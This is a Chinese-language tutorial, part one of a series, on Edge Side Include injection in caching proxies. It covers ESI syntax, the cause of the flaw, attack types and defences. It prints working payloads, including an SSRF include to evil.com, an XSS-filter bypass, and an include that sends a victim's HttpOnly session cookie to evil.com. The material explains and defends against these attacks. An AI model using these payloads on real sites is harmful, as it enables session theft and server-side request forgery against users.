浅析Edge Side Include注入(上)
字数 1458 2025-08-26 22:11:45
Edge Side Include (ESI) 注入深度解析
一、ESI 概述
Edge Side Includes (ESI) 是一种基于 XML 标签的标记语言,主要用于改善 HTTP 中间件(如反向代理、负载均衡器、缓存服务器等)在处理大量 Web 内容缓存时的性能问题。
1.1 ESI 工作原理
ESI 允许开发者将页面的动态内容部分替换为 ESI 标签,当用户请求页面时:
- 代理服务器解析 ESI 标签
- 获取动态内容
- 将内容组合到静态页面中
- 返回给用户
这种机制有效减轻了后端服务器的压力,特别适用于包含少量动态数据的静态页面。
1.2 支持 ESI 的常见服务
- Varnish
- Squid Proxy
- IBM WebSphere
- Oracle Fusion/WebLogic
- Akamai
- Fastly
- F5
- Node.js ESI
- LiteSpeed
- 各种语言插件
注意:并非所有服务默认开启 ESI 处理功能。
二、ESI 语法基础
2.1 基本标签结构
<esi:include src="/path/to/content" />
2.2 变量使用
<esi:assign name="var1" value="'value'"/>
<esi:vars name="$(var1)"/>
2.3 动态参数
<esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
三、ESI 注入漏洞原理
3.1 漏洞成因
HTTP 中间件服务器无法区分 ESI 标签是来自:
- 上游服务器(合法)
- 恶意用户输入(非法)
当攻击者注入恶意 ESI 标签时,中间件会盲目解析并执行。
3.2 注入条件
- 应用未正确过滤用户输入中的 ESI 标签
- 中间件服务器启用了 ESI 解析功能
- 注入的标签未被编码或转义
四、ESI 注入攻击类型
4.1 SSRF (Server-Side Request Forgery)
Payload 示例:
<esi:include src="http://evil.com/ping/" />
攻击流程:
- 攻击者发送携带 ESI payload 的请求
- 中间件服务器转发给后端服务器
- 后端服务器返回包含 ESI payload 的响应
- 中间件服务器解析 ESI 标签
- 向 evil.com 发起请求
- 将响应组合后返回给用户
限制:某些实现可能只允许包含白名单主机的请求。
4.2 绕过客户端 XSS 过滤
技术原理:
- 浏览器 XSS 过滤器无法识别 ESI 标签
- ESI 引擎在服务器端处理标签并生成有效 XSS payload
Payload 示例:
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
处理后生成:
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
4.3 组合 SSRF 和 XSS
- 准备包含 XSS payload 的外部页面 (poc.html)
- 注入 ESI include 标签:
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
4.4 绕过 HttpOnly Cookie 保护
Payload 示例:
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
效果:将用户的 HttpOnly cookie 发送到攻击者控制的服务器。
五、防御措施
5.1 输入验证和过滤
- 对所有用户输入进行严格的验证
- 过滤或转义
<esi:等特殊字符序列
5.2 输出编码
- 确保所有动态内容在输出时进行适当的编码
5.3 安全配置
- 禁用不必要的 ESI 处理功能
- 限制 ESI include 的白名单主机
- 实施严格的 CSP (Content Security Policy)
5.4 监控和日志
- 监控异常的 ESI 标签处理
- 记录所有 ESI 解析活动
六、实际案例分析
(注:原文提到将在下一部分分析真实案例,此处可留空或根据已知信息补充)
七、总结
ESI 注入是一种相对少见但危害严重的攻击技术,能够导致:
- SSRF 攻击
- 多种 XSS 攻击(包括绕过现代防护措施)
- 服务器端拒绝服务
- HttpOnly Cookie 窃取
防御的关键在于严格处理用户输入、合理配置中间件服务器,并实施多层安全防护措施。